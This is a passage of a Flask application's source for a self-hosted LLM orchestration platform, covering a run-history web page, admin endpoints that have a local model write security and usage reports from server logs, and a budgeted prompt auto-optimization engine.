<select class="tool-select" id="filter-tag" onchange="loadRuns()"><option value="">All Tags</option></select>
<input class="tool-input" id="filter-search" placeholder="Search prompts..." oninput="filterLocal()">
<span class="spacer"></span>
<span class="count-badge" id="run-count"></span>
<button class="tool-btn mag" onclick="archiveSelected()">Archive Sel.</button>
<button class="tool-btn grn" onclick="restoreSelected()">Restore Sel.</button>
</div>
<!-- Detail panel -->
<div class="detail-panel" id="detail-panel"></div>
<!-- Run table -->
<div class="run-table" id="run-table">
<div class="run-row run-hdr">
<span></span><span>ID</span><span>Mode</span><span>Prompt</span><span>Models</span><span>Tags</span><span>Date</span>
</div>
<div id="run-list"><div class="empty">Loading...</div></div>
</div>
</div>
<script>
!function(){var c=document.getElementById('bg-grid');if(!c)return;var x=c.getContext('2d');function resize(){c.width=window.innerWidth;c.height=window.innerHeight}resize();window.addEventListener('resize',resize);var t=0;function draw(){x.clearRect(0,0,c.width,c.height);var s=50,ox=(t*0.2)%s,oy=(t*0.1)%s;x.fillStyle='rgba(226,181,90,0.025)';for(var gx=-s+ox;gx<c.width+s;gx+=s)for(var gy=-s+oy;gy<c.height+s;gy+=s){x.beginPath();x.arc(gx,gy,0.7,0,Math.PI*2);x.fill()}t++;requestAnimationFrame(draw)}draw()}();
var currentView = 'active';
var allRuns = [];
function setView(v) {
currentView = v;
document.querySelectorAll('.toolbar .tool-btn').forEach(function(b){b.classList.remove('active')});
document.getElementById('tb-'+v).classList.add('active');
loadRuns();
}
function toast(msg, ok) {
var t = document.createElement('div'); t.className = 'toast ' + (ok?'ok':'err');
t.textContent = msg; document.body.appendChild(t);
setTimeout(function(){t.remove()},2500);
}
async function startOptimize(runId) {
var r = await fetch('/api/runs/'+runId+'/optimize', {method:'POST'});
var data = await r.json();
if (data.error && data.job_id) {
// Already running — reconnect to existing stream
toast('Reconnecting to active optimization...', true);
var jobId = data.job_id;
_showOptimizeStream(runId, jobId);
return;
}
if (data.error) { toast(data.error, false); return; }
var jobId = data.job_id;
_showOptimizeStream(runId, jobId);
}
function _showOptimizeStream(runId, jobId) {
var panel = document.getElementById('detail-panel');
panel.textContent = '';
// Header
var hdr = document.createElement('div'); hdr.style.cssText = 'display:flex;align-items:center;gap:10px;margin-bottom:16px';
var backBtn = document.createElement('button'); backBtn.className = 'tool-btn';
backBtn.textContent = '\u2190 Back'; backBtn.onclick = function(){ openDetail(runId); };
hdr.appendChild(backBtn);
var title = document.createElement('span');
title.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;text-transform:uppercase;letter-spacing:1.5px;color:var(--accent);font-weight:700';
title.textContent = 'OPTIMIZING RUN #'+runId;
hdr.appendChild(title);
panel.appendChild(hdr);
// Status
var statusEl = document.createElement('div');
statusEl.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:11px;color:var(--text2);margin-bottom:12px';
statusEl.textContent = 'Starting optimization...';
panel.appendChild(statusEl);
// Results container
var resultsEl = document.createElement('div');
panel.appendChild(resultsEl);
// SSE stream
var es = new EventSource('/api/optimize/'+jobId+'/stream');
es.onmessage = function(e) {
var d = JSON.parse(e.data);
if (d.type === 'status') {
statusEl.textContent = d.text;
}
if (d.type === 'error') {
var err = document.createElement('div');
err.style.cssText = 'color:var(--red);font-family:JetBrains Mono,monospace;font-size:11px;margin:8px 0;border-left:2px solid var(--red);padding-left:8px';
err.textContent = 'Error: ' + d.text;
resultsEl.appendChild(err);
}
if (d.type === 'phase') {
var block = document.createElement('div');
block.style.cssText = 'background:var(--surface);border:1px solid var(--border);border-radius:2px;padding:12px;margin-bottom:8px';
var phTitle = document.createElement('div');
phTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;color:var(--accent);margin-bottom:6px;font-weight:700';
phTitle.textContent = d.phase === 'analyze' ? 'Analysis' : d.count + ' Variations Generated';
block.appendChild(phTitle);
var body = document.createElement('div');
body.style.cssText = 'font-size:12px;line-height:1.6;color:var(--text);white-space:pre-wrap;max-height:200px;overflow-y:auto';
if (d.phase === 'analyze') {
body.textContent = d.text || '';
} else if (d.variations) {
d.variations.forEach(function(v, i) {
var line = document.createElement('div');
line.style.cssText = 'margin-bottom:8px;padding:6px 8px;background:rgba(0,0,0,0.1);border-radius:2px';
line.textContent = 'V'+(i+1)+' ['+v.strategy+'] '+v.prompt;
body.appendChild(line);
});
body.style.whiteSpace = 'normal';
}
block.appendChild(body);
resultsEl.appendChild(block);
}
if (d.type === 'test') {
statusEl.textContent = 'Testing V'+(d.variation+1)+' ['+d.strategy+'] in '+d.mode+'... '+d.status;
}
if (d.type === 'results') {
statusEl.textContent = 'Optimization complete!';
var table = document.createElement('div'); table.style.cssText = 'margin-top:12px';
var tTitle = document.createElement('div');
tTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:2px;color:var(--accent);margin-bottom:10px;font-weight:700';
tTitle.textContent = 'RANKED RESULTS' + (d.original_score ? ' (original: '+d.original_score+'/10)' : '');
table.appendChild(tTitle);
(d.ranked||[]).forEach(function(r, i) {
var row = document.createElement('div');
row.style.cssText = 'display:flex;align-items:center;gap:10px;padding:10px 12px;margin-bottom:4px;background:var(--surface);border:1px solid var(--border);border-radius:2px';
if (i === 0) row.style.borderColor = 'var(--accent)';
var rank = document.createElement('span');
rank.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:14px;font-weight:700;min-width:24px;color:'+(i===0?'var(--accent)':'var(--text2)');
rank.textContent = i === 0 ? '\u2605' : '#'+(i+1);
row.appendChild(rank);
var info = document.createElement('div'); info.style.cssText = 'flex:1;min-width:0';
var label = document.createElement('div');
label.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;color:var(--text2);text-transform:uppercase;letter-spacing:0.5px';
label.textContent = 'V'+(r.variation+1)+' ['+r.strategy+'] \u00D7 '+r.mode;
info.appendChild(label);
var snippet = document.createElement('div');
snippet.style.cssText = 'font-size:11px;color:var(--text);margin-top:2px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis';
snippet.textContent = r.snippet || '';
info.appendChild(snippet);
row.appendChild(info);
var scoreBar = document.createElement('div'); scoreBar.style.cssText = 'width:80px;display:flex;align-items:center;gap:6px';
var bar = document.createElement('div'); bar.style.cssText = 'flex:1;height:6px;background:rgba(0,0,0,0.15);border-radius:3px;overflow:hidden';
var fill = document.createElement('div');
var pct = ((r.score||0)/10)*100;
fill.style.cssText = 'height:100%;border-radius:3px;background:'+(pct>=70?'var(--green)':pct>=50?'var(--accent)':'var(--red)')+';width:'+pct+'%';
bar.appendChild(fill); scoreBar.appendChild(bar);
var scoreNum = document.createElement('span');
scoreNum.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:12px;font-weight:700;min-width:24px;text-align:right';
scoreNum.textContent = r.score ? r.score.toFixed(1) : '?';
scoreBar.appendChild(scoreNum);
row.appendChild(scoreBar);
if (i === 0 && r.prompt) {
var useBtn = document.createElement('button'); useBtn.className = 'tool-btn';
useBtn.style.cssText = 'color:var(--accent);border-color:var(--accent);font-size:9px;white-space:nowrap';
useBtn.textContent = 'Use This';
useBtn.onclick = function(){
sessionStorage.setItem('pending-prompt', r.prompt);
window.location.href = '/';
};
row.appendChild(useBtn);
}
table.appendChild(row);
});
resultsEl.appendChild(table);
}
if (d.type === 'done') {
es.close();
if (d.improvement > 0) {
statusEl.textContent = 'Done! Best: '+(d.best_score||'?')+'/10 (+'+(d.improvement||0).toFixed(1)+' improvement) | '+d.calls_used+' model calls';
statusEl.style.color = 'var(--green)';
} else {
statusEl.textContent = 'Done! Best: '+(d.best_score||'?')+'/10 | Original: '+(d.original_score||'?')+'/10 | '+d.calls_used+' calls';
}
}
};
es.onerror = function() { es.close(); statusEl.textContent += ' (stream ended)'; };
}
async function loadRuns() {
var mode = document.getElementById('filter-mode').value;
var tag = document.getElementById('filter-tag').value;
var url = '/api/runs?show=' + currentView;
var r = await fetch(url);
var d = await r.json();
allRuns = d.runs || [];
// Client-side filter by mode/tag
if (mode) allRuns = allRuns.filter(function(r){return r.mode === mode});
if (tag) allRuns = allRuns.filter(function(r){return (r.tags||[]).indexOf(tag)>=0});
filterLocal();
document.getElementById('run-count').textContent = allRuns.length + ' runs';
}
function filterLocal() {
var q = (document.getElementById('filter-search').value||'').toLowerCase();
var filtered = q ? allRuns.filter(function(r){return (r.prompt||'').toLowerCase().indexOf(q)>=0 || r.mode.toLowerCase().indexOf(q)>=0}) : allRuns;
renderTable(filtered);
}
function renderTable(runs) {
var el = document.getElementById('run-list');
if (!runs.length) { el.textContent = ''; var e = document.createElement('div'); e.className = 'empty'; e.textContent = 'No runs found'; el.appendChild(e); return; }
el.textContent = '';
runs.forEach(function(r) {
var row = document.createElement('div');
row.className = 'run-row' + (r.archived ? ' archived' : '');
// Checkbox
var cb = document.createElement('input'); cb.type = 'checkbox'; cb.dataset.id = r.id;
cb.style.cssText = 'width:14px;height:14px;accent-color:#e2b55a;cursor:pointer';
cb.onclick = function(e){e.stopPropagation()};
row.appendChild(cb);
// ID
var idEl = document.createElement('span'); idEl.className = 'run-id'; idEl.textContent = '#'+r.id; row.appendChild(idEl);
// Mode
var modeEl = document.createElement('span'); modeEl.className = 'run-mode'; modeEl.textContent = r.mode; row.appendChild(modeEl);
// Prompt
var promptEl = document.createElement('span'); promptEl.className = 'run-prompt'; promptEl.textContent = (r.prompt||'').substring(0,100); promptEl.title = r.prompt||''; row.appendChild(promptEl);
// Models
var modelsEl = document.createElement('span'); modelsEl.className = 'run-models'; modelsEl.textContent = (r.models_used||[]).length + ' models'; row.appendChild(modelsEl);
// Tags
var tagsEl = document.createElement('span'); tagsEl.className = 'run-tags';
(r.tags||[]).forEach(function(t){ var pill = document.createElement('span'); pill.className = 'tag-pill'; pill.textContent = t; tagsEl.appendChild(pill); });
row.appendChild(tagsEl);
// Date
var dateEl = document.createElement('span'); dateEl.className = 'run-date';
var dt = new Date(r.created_at); dateEl.textContent = dt.toLocaleDateString()+' '+dt.toLocaleTimeString([],{hour:'2-digit',minute:'2-digit'});
row.appendChild(dateEl);
row.onclick = function(){openDetail(r.id)};
el.appendChild(row);
});
}
async function openDetail(id) {
var panel = document.getElementById('detail-panel');
panel.className = 'detail-panel open';
panel.textContent = 'Loading...';
var r = await fetch('/api/runs/'+id);
var run = await r.json();
if (run.error) { panel.textContent = 'Error: '+run.error; return; }
panel.textContent = '';
// Header
var hdr = document.createElement('div'); hdr.className = 'detail-header';
var closeBtn = document.createElement('button'); closeBtn.className = 'tool-btn';
closeBtn.textContent = '✕ Close'; closeBtn.onclick = function(){panel.className='detail-panel';};
hdr.appendChild(closeBtn);
var modeTag = document.createElement('span'); modeTag.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:10px;text-transform:uppercase;letter-spacing:1px;color:var(--accent);font-weight:700';
modeTag.textContent = run.mode + ' #' + id; hdr.appendChild(modeTag);
var dateTag = document.createElement('span'); dateTag.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;color:var(--text2)';
dateTag.textContent = new Date(run.created_at).toLocaleString(); hdr.appendChild(dateTag);
panel.appendChild(hdr);
// Prompt
var prompt = document.createElement('div'); prompt.className = 'detail-prompt'; prompt.textContent = run.prompt; panel.appendChild(prompt);
// Tags editor
var tagEd = document.createElement('div'); tagEd.className = 'tag-editor';
var tagLabel = document.createElement('span'); tagLabel.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:8px;text-transform:uppercase;letter-spacing:1px;color:var(--text2)';
tagLabel.textContent = 'Tags: '; tagEd.appendChild(tagLabel);
var currentTags = run.tags || [];
currentTags.forEach(function(t){
var pill = document.createElement('span'); pill.className = 'tag-pill'; pill.style.cursor = 'pointer';
pill.textContent = t + ''; pill.title = 'Remove tag';
pill.onclick = function(){ currentTags = currentTags.filter(function(x){return x!==t}); saveTags(id,currentTags,null); };
tagEd.appendChild(pill);
});
var tagInput = document.createElement('input'); tagInput.placeholder = 'Add tag...';
tagInput.onkeydown = function(e){ if(e.key==='Enter'&&tagInput.value.trim()){ currentTags.push(tagInput.value.trim()); saveTags(id,currentTags,null); tagInput.value=''; }};
tagEd.appendChild(tagInput);
panel.appendChild(tagEd);
// Notes
var notesArea = document.createElement('textarea'); notesArea.className = 'notes-area';
notesArea.placeholder = 'Add notes...'; notesArea.value = run.notes || '';
var saveTimer;
notesArea.oninput = function(){ clearTimeout(saveTimer); saveTimer = setTimeout(function(){ saveTags(id, null, notesArea.value); }, 1000); };
panel.appendChild(notesArea);
// Actions
var actions = document.createElement('div'); actions.className = 'detail-actions';
if (run.archived) {
var restBtn = document.createElement('button'); restBtn.className = 'tool-btn grn'; restBtn.textContent = 'Restore';
restBtn.onclick = function(){ fetch('/api/runs/'+id+'/restore',{method:'POST'}).then(function(){toast('Restored',true);loadRuns()}); };
actions.appendChild(restBtn);
} else {
var archBtn = document.createElement('button'); archBtn.className = 'tool-btn mag'; archBtn.textContent = 'Archive';
archBtn.onclick = function(){ fetch('/api/runs/'+id+'/archive',{method:'POST'}).then(function(){toast('Archived',true);loadRuns();panel.className='detail-panel'}); };
actions.appendChild(archBtn);
}
var delBtn = document.createElement('button'); delBtn.className = 'tool-btn red'; delBtn.textContent = 'Delete';
delBtn.onclick = function(){ if(confirm('Delete permanently?')){fetch('/api/runs/'+id,{method:'DELETE'}).then(function(){toast('Deleted',true);loadRuns();panel.className='detail-panel'})} };
actions.appendChild(delBtn);
var meta = run.score_metadata || {};
var isOptimized = meta.optimized;
var optBtn = document.createElement('button'); optBtn.className = 'tool-btn';
optBtn.style.cssText = 'color:var(--accent);border-color:var(--accent);margin-left:auto';
optBtn.textContent = isOptimized ? '\u26A1 Re-Optimize' : '\u26A1 Optimize';
optBtn.onclick = function(){ startOptimize(id); };
actions.appendChild(optBtn);
panel.appendChild(actions);
// Optimization history
if (isOptimized) {
var optSection = document.createElement('div');
optSection.style.cssText = 'background:var(--glow);border:1px solid var(--accent);border-radius:2px;padding:12px;margin-bottom:12px';
var optTitle = document.createElement('div');
optTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:1.5px;color:var(--accent);margin-bottom:6px;font-weight:700';
optTitle.textContent = 'Optimization Results';
optSection.appendChild(optTitle);
var optInfo = document.createElement('div');
optInfo.style.cssText = 'font-size:12px;color:var(--text);line-height:1.6';
var bestId = meta.best_variation_run;
var jobId = meta.optimize_job || '';
optInfo.textContent = 'Best variation: Run #' + (bestId||'?') + ' | Job: ' + jobId;
optSection.appendChild(optInfo);
if (bestId) {
var viewBtn = document.createElement('button'); viewBtn.className = 'tool-btn';
viewBtn.style.cssText = 'margin-top:8px;font-size:9px';
viewBtn.textContent = 'View Best Variation (#' + bestId + ')';
viewBtn.onclick = function(){ openDetail(bestId); };
optSection.appendChild(viewBtn);
}
// Load pipeline results for more detail
fetch('/api/optimize-history/' + id).then(function(r){return r.json()}).then(function(d){
if (d.results && d.results.length) {
var count = document.createElement('div');
count.style.cssText = 'font-size:11px;color:var(--text2);margin-top:6px;font-family:JetBrains Mono,monospace';
count.textContent = d.results.length + ' optimization(s) run | Best: ' + (d.results[0].best_score||'?') + '/10 | Original: ' + (d.results[0].original_score||'?') + '/10';
optSection.appendChild(count);
}
}).catch(function(){});
panel.appendChild(optSection);
}
// Responses
var responses = run.responses || [];
var respTitle = document.createElement('div');
respTitle.style.cssText = 'font-family:JetBrains Mono,monospace;font-size:9px;text-transform:uppercase;letter-spacing:2px;color:var(--accent);margin-bottom:8px';
respTitle.textContent = responses.length + ' Responses'; panel.appendChild(respTitle);
responses.forEach(function(resp,i){
var card = document.createElement('div'); card.className = 'resp-card';
var head = document.createElement('div'); head.className = 'resp-head';
head.textContent = resp.model || '?';
var role = document.createElement('span'); role.className = 'resp-role'; role.textContent = resp.role||'';
head.appendChild(role);
var body = document.createElement('div'); body.className = 'resp-body';
body.textContent = resp.text || '';
head.onclick = function(){ body.classList.toggle('open'); };
card.appendChild(head); card.appendChild(body); panel.appendChild(card);
});
panel.scrollIntoView({behavior:'smooth',block:'start'});
}
async function saveTags(id, tags, notes) {
var body = {};
if (tags !== null) body.tags = tags;
if (notes !== null) body.notes = notes;
await fetch('/api/runs/'+id+'/tags', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify(body)});
toast('Saved', true);
if (tags !== null) loadRuns();
}
function getSelectedIds() {
var ids = [];
document.querySelectorAll('#run-list input[type=checkbox]:checked').forEach(function(cb){ids.push(parseInt(cb.dataset.id))});
return ids;
}
async function archiveSelected() {
var ids = getSelectedIds();
if (!ids.length) return toast('Select runs first', false);
if (!confirm('Archive '+ids.length+' runs?')) return;
await fetch('/api/runs/bulk-archive',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({action:'archive',ids:ids})});
toast('Archived '+ids.length, true); loadRuns();
}
async function restoreSelected() {
var ids = getSelectedIds();
if (!ids.length) return toast('Select runs first', false);
await fetch('/api/runs/bulk-archive',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({action:'restore',ids:ids})});
toast('Restored '+ids.length, true); loadRuns();
}
async function loadFilters() {
var modeSelect = document.getElementById('filter-mode');
var tagSelect = document.getElementById('filter-tag');
// Get unique modes from runs
var r = await fetch('/api/runs?show=all');
var d = await r.json();
var modes = new Set(); (d.runs||[]).forEach(function(r){modes.add(r.mode)});
modes.forEach(function(m){ var o = document.createElement('option'); o.value = m; o.textContent = m; modeSelect.appendChild(o); });
// Tags
var tr = await fetch('/api/runs/tags');
var td = await tr.json();
(td.tags||[]).forEach(function(t){ var o = document.createElement('option'); o.value = t; o.textContent = t; tagSelect.appendChild(o); });
}
loadFilters();
loadRuns();
</script>
</body></html>"""
@app.route("/api/self-analyze", methods=["POST"])
@admin_required
def self_analyze():
"""Run AI analysis on the system's own data. Generates reports from logs, runs, and security data."""
data = request.json or {}
report_type = data.get("type", "threat_intel")
model = data.get("model", "qwen2.5:latest")
# Gather data based on report type
context = ""
if report_type == "threat_intel":
try:
with open("/var/log/llm-team-security.log") as f:
lines = [l.strip() for l in f.readlines() if "192.168" not in l]
context = f"SECURITY LOG ({len(lines)} external entries, last 80):\n" + "\n".join(lines[-80:])
except Exception:
context = "No security log data available."
prompt = (
"You are a threat intelligence analyst. Analyze these server logs from a PRIVATE web application and produce a concise STRATEGIC THREAT REPORT.\n\n"
f"{context}\n\n"
"Sections: 1) EXECUTIVE SUMMARY 2) ATTACK TAXONOMY with counts 3) ATTACKER PROFILING 4) PREDICTIVE ANALYSIS 5) TOP 5 ACTIONABLE RECOMMENDATIONS"
)
elif report_type == "model_performance":
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT mode, models_used, jsonb_array_length(responses) as resp_count, LENGTH(responses::text) as resp_size, LENGTH(prompt) as prompt_len FROM team_runs WHERE archived=false ORDER BY created_at DESC LIMIT 50")
runs = cur.fetchall()
context = json.dumps([dict(r) for r in runs], default=str)[:6000]
except Exception:
context = "No run data available."
prompt = (
f"Analyze this dataset of AI orchestration runs.\n\nDATA:\n{context}\n\n"
"Produce a MODEL PERFORMANCE REPORT: 1) USAGE PATTERNS 2) MODEL WORKLOAD 3) RESPONSE EFFICIENCY 4) OPTIMIZATION OPPORTUNITIES 5) RECOMMENDED EXPERIMENTS"
)
elif report_type == "access_patterns":
try:
with open("/var/log/nginx/access.log") as f:
lines = f.readlines()[-200:]
context = "NGINX ACCESS LOG (last 200 entries):\n" + "".join(lines)
except Exception:
context = "No access log data."
prompt = (
f"Analyze these web server access logs for a private AI orchestration platform.\n\n{context}\n\n"
"Produce a USAGE ANALYTICS REPORT: 1) TRAFFIC PATTERNS (peak times, frequency) 2) FEATURE USAGE (which pages/APIs are used most) "
"3) USER JOURNEY (typical workflow sequence) 4) PERFORMANCE INSIGHTS 5) UX RECOMMENDATIONS"
)
elif report_type == "security_posture":
# Combine multiple data sources
sec_lines = ""
try:
with open("/var/log/llm-team-security.log") as f:
sec_lines = "\n".join([l.strip() for l in f.readlines() if "192.168" not in l][-40:])
except Exception:
pass
sentinel_lines = ""
try:
with open("/var/log/llm-team-sentinel.log") as f:
sentinel_lines = "\n".join(f.readlines()[-20:])
except Exception:
pass
threat_count = 0
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("SELECT COUNT(*) FROM threat_intel")
threat_count = cur.fetchone()[0]
except Exception:
pass
import subprocess
banned = ""
try:
r = subprocess.run(["fail2ban-client", "status", "llm-team-exploit"], capture_output=True, text=True, timeout=5)
banned = r.stdout
except Exception:
pass
context = f"SECURITY LOG (external, last 40):\n{sec_lines}\n\nSENTINEL LOG:\n{sentinel_lines}\n\nTHREAT INTEL DB: {threat_count} profiled IPs\n\nFAIL2BAN STATUS:\n{banned}"
prompt = (
f"You are auditing the security posture of a private web application.\n\n{context}\n\n"
"Produce a SECURITY POSTURE ASSESSMENT: 1) OVERALL RISK RATING (1-10) 2) DEFENSE EFFECTIVENESS (what's working) "
"3) GAPS AND WEAKNESSES 4) INCIDENT TIMELINE (recent events) 5) PRIORITY HARDENING STEPS"
)
else:
return jsonify({"error": f"Unknown report type: {report_type}"}), 400
# Run analysis
try:
cfg = load_config()
base = cfg["providers"]["ollama"].get("base_url", "http://localhost:11434")
resp = requests.post(f"{base}/api/generate", json={
"model": model, "prompt": prompt, "stream": False,
"options": {"num_ctx": 8192, "temperature": 0.2}
}, timeout=120)
resp.raise_for_status()
report = resp.json()["response"]
except Exception as e:
return jsonify({"error": str(e)}), 500
# Save to DB
report_id = None
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute("INSERT INTO self_reports (report_type, model, report, data_size) VALUES (%s,%s,%s,%s) RETURNING id",
(report_type, model, report, len(context)))
report_id = cur.fetchone()[0]
conn.commit()
except Exception:
pass
return jsonify({"report": report, "type": report_type, "model": model, "data_size": len(context), "id": report_id})
@app.route("/api/self-reports")
@admin_required
def list_self_reports():
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT id, report_type, model, LENGTH(report) as report_len, data_size, created_at FROM self_reports ORDER BY created_at DESC LIMIT 50")
rows = cur.fetchall()
for r in rows:
r["created_at"] = r["created_at"].isoformat()
return jsonify({"reports": rows})
except Exception as e:
return jsonify({"reports": [], "error": str(e)})
@app.route("/api/self-reports/<int:rid>")
@admin_required
def get_self_report(rid):
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM self_reports WHERE id = %s", (rid,))
row = cur.fetchone()
if not row:
return jsonify({"error": "not found"}), 404
row["created_at"] = row["created_at"].isoformat()
return jsonify(row)
except Exception as e:
return jsonify({"error": str(e)}), 500
# ─── META-PIPELINE ENGINE ──────────────────────────────────────
_meta_threads = {}
_meta_status = {} # pipeline_id -> {stage, substep, progress}
# ─── AUTO-OPTIMIZE ENGINE ────────────────────────────────────
_optimize_jobs = {} # job_id -> {"thread": Thread, "status": str}
_optimize_queues = {} # job_id -> [[event_dicts]]
_OPTIMIZE_MAX_CALLS = 15
def _optimize_emit(job_id, data):
for q in _optimize_queues.get(job_id, []):
q.append(data)
def _run_optimize(job_id, run_id):
"""Background: analyze a past run, generate improved prompts, test them, rank results."""
import time as _time
start = _time.time()
calls_used = 0
_optimize_jobs[job_id]["status"] = "running"
def _budget_call(model, prompt):
nonlocal calls_used
if calls_used >= _OPTIMIZE_MAX_CALLS:
raise RuntimeError("Budget exhausted")
calls_used += 1
return safe_query(model, prompt)
try:
# Fetch original run
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT * FROM team_runs WHERE id = %s", (run_id,))
run = cur.fetchone()
if not run:
_optimize_emit(job_id, {"type": "error", "text": "Run not found"})
_optimize_emit(job_id, {"type": "done"})
return
original_prompt = run["prompt"]
original_mode = run["mode"]
original_score = run.get("quality_score") or 0
responses = run.get("responses") or []
models_used = run.get("models_used") or ["qwen2.5:latest"]
best_resp = ""
if responses:
candidates = [r for r in responses if r.get("role") != "error" and r.get("text")]
if candidates:
best_resp = max(candidates, key=lambda r: len(r.get("text", "")))["text"][:2000]
# Phase A: Analyze
_optimize_emit(job_id, {"type": "status", "text": "Analyzing original run..."})
analysis_prompt = (
f"Analyze this LLM prompt for improvement opportunities.\n\n"
f"MODE: {original_mode}\nSCORE: {original_score}/10\n\n"
f"PROMPT:\n{original_prompt[:1500]}\n\n"
f"BEST RESPONSE (excerpt):\n{best_resp[:1000]}\n\n"
f"Identify 3-4 specific improvement strategies. For each, name the strategy type.\n"
f"Return JSON: {{\"analysis\": \"brief overall assessment\", \"strategies\": [\"clarity\", \"depth\", ...]}}"
)
analysis_raw = _budget_call(_SCORE_MODEL, analysis_prompt)
_optimize_emit(job_id, {"type": "phase", "phase": "analyze", "text": analysis_raw})
# Parse strategies
strategies = ["clarity", "depth", "specificity"]
try:
j_s = analysis_raw.find("{")
j_e = analysis_raw.rfind("}") + 1
if j_s >= 0 and j_e > j_s:
parsed = json.loads(analysis_raw[j_s:j_e])
strategies = parsed.get("strategies", strategies)[:5]
except Exception:
pass
# Phase B: Generate variations
_optimize_emit(job_id, {"type": "status", "text": f"Generating {len(strategies)} prompt variations..."})
gen_prompt = (
f"Generate {len(strategies)} improved versions of this prompt. Each targets a different improvement strategy.\n\n"
f"ORIGINAL PROMPT:\n{original_prompt[:1500]}\n\n"
f"STRATEGIES TO APPLY: {', '.join(strategies)}\n\n"
f"Return a JSON array: [{{\"strategy\": \"...\", \"prompt\": \"the full improved prompt\", \"rationale\": \"why this is better\"}}]\n"
f"Each prompt should be complete and ready to use, not a description of changes."
)
gen_raw = _budget_call(_SCORE_MODEL, gen_prompt)
variations = []
try:
j_s = gen_raw.find("[")
j_e = gen_raw.rfind("]") + 1
if j_s >= 0 and j_e > j_s:
variations = json.loads(gen_raw[j_s:j_e])
except Exception:
pass
if not variations:
# Fallback: create simple variations
variations = [
{"strategy": "clarity", "prompt": f"Please be specific and clear: {original_prompt}", "rationale": "Added clarity directive"},
{"strategy": "depth", "prompt": f"Provide a comprehensive, detailed answer: {original_prompt}", "rationale": "Added depth directive"},
{"strategy": "structure", "prompt": f"Structure your response with clear sections and examples: {original_prompt}", "rationale": "Added structure directive"},
]
_optimize_emit(job_id, {"type": "phase", "phase": "variations", "count": len(variations),
"variations": [{"strategy": v.get("strategy", "?"), "prompt": v.get("prompt", "")[:200], "rationale": v.get("rationale", "")} for v in variations]})
# Phase C: Multi-mode test
test_modes = [original_mode]
if original_mode != "brainstorm":
test_modes.append("brainstorm")
# Budget check: need 1 call per variation×mode, cap if needed
max_tests = _OPTIMIZE_MAX_CALLS - calls_used - 1 # reserve 1 for summary
if len(variations) * len(test_modes) > max_tests:
test_modes = [original_mode]
if len(variations) > max_tests:
variations = variations[:max_tests]
child_run_ids = []
for vi, var in enumerate(variations):
var_prompt = var.get("prompt", original_prompt)
strategy = var.get("strategy", "unknown")
for mode in test_modes:
_optimize_emit(job_id, {"type": "test", "variation": vi, "strategy": strategy, "mode": mode, "status": "running"})
try:
# Pick a model from the original run's model list
model = models_used[vi % len(models_used)]
result = _budget_call(model, var_prompt)
test_responses = [{"model": model, "text": result, "role": "response"}]
test_config = {"source": "optimize", "parent_run": run_id, "job_id": job_id, "variation": vi, "strategy": strategy}
rid = save_run(mode, var_prompt, test_config, test_responses)
if rid:
child_run_ids.append({"run_id": rid, "variation": vi, "strategy": strategy, "mode": mode, "prompt": var_prompt})
_optimize_emit(job_id, {"type": "test", "variation": vi, "strategy": strategy, "mode": mode, "status": "done"})
except Exception as e:
_optimize_emit(job_id, {"type": "test", "variation": vi, "strategy": strategy, "mode": mode, "status": f"error: {e}"})
# Phase D: Wait for scores and rank
_optimize_emit(job_id, {"type": "status", "text": "Waiting for auto-scoring..."})
ranked = []
if child_run_ids:
child_ids = [c["run_id"] for c in child_run_ids]
# Poll for scores (auto-scoring runs in background threads)
for attempt in range(20):
_time.sleep(3)
try:
with get_db() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute("SELECT id, quality_score FROM team_runs WHERE id = ANY(%s)", (child_ids,))
scores = {r["id"]: r["quality_score"] for r in cur.fetchall()}
scored_count = sum(1 for s in scores.values() if s is not None)
if scored_count >= len(child_ids) * 0.8:
break
except Exception:
pass
# Build ranked results
for child in child_run_ids:
score = scores.get(child["run_id"])
ranked.append({
"run_id": child["run_id"],
"variation": child["variation"],
"strategy": child["strategy"],
"mode": child["mode"],
"prompt": child["prompt"],
"score": float(score) if score else None,
"snippet": child["prompt"][:150],
})
ranked.sort(key=lambda r: r.get("score") or 0, reverse=True)
_optimize_emit(job_id, {"type": "results", "ranked": ranked, "original_score": original_score})
# Phase E: Report
best_score = ranked[0]["score"] if ranked and ranked[0].get("score") else original_score
improvement = (best_score or 0) - (original_score or 0)
duration = int((_time.time() - start) * 1000)
result_data = {
"parent_run": run_id, "original_score": original_score,
"best_score": best_score, "improvement": improvement,
"variations_tested": len(variations), "modes_tested": test_modes,
"calls_used": calls_used, "ranked": ranked[:5],
}
_save_pipeline("optimize", original_prompt[:200],
[{"step": "analyze"}, {"step": "generate", "count": len(variations)}, {"step": "test", "tests": len(child_run_ids)}, {"step": "rank"}],
result_data, models_used + [_SCORE_MODEL], start * 1000)
# Tag original run as optimized
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"UPDATE team_runs SET score_metadata = COALESCE(score_metadata, '{}') || %s WHERE id = %s",
(json.dumps({"optimized": True, "best_variation_run": ranked[0]["run_id"] if ranked else None, "optimize_job": job_id}), run_id)
)
conn.commit()
except Exception:
pass
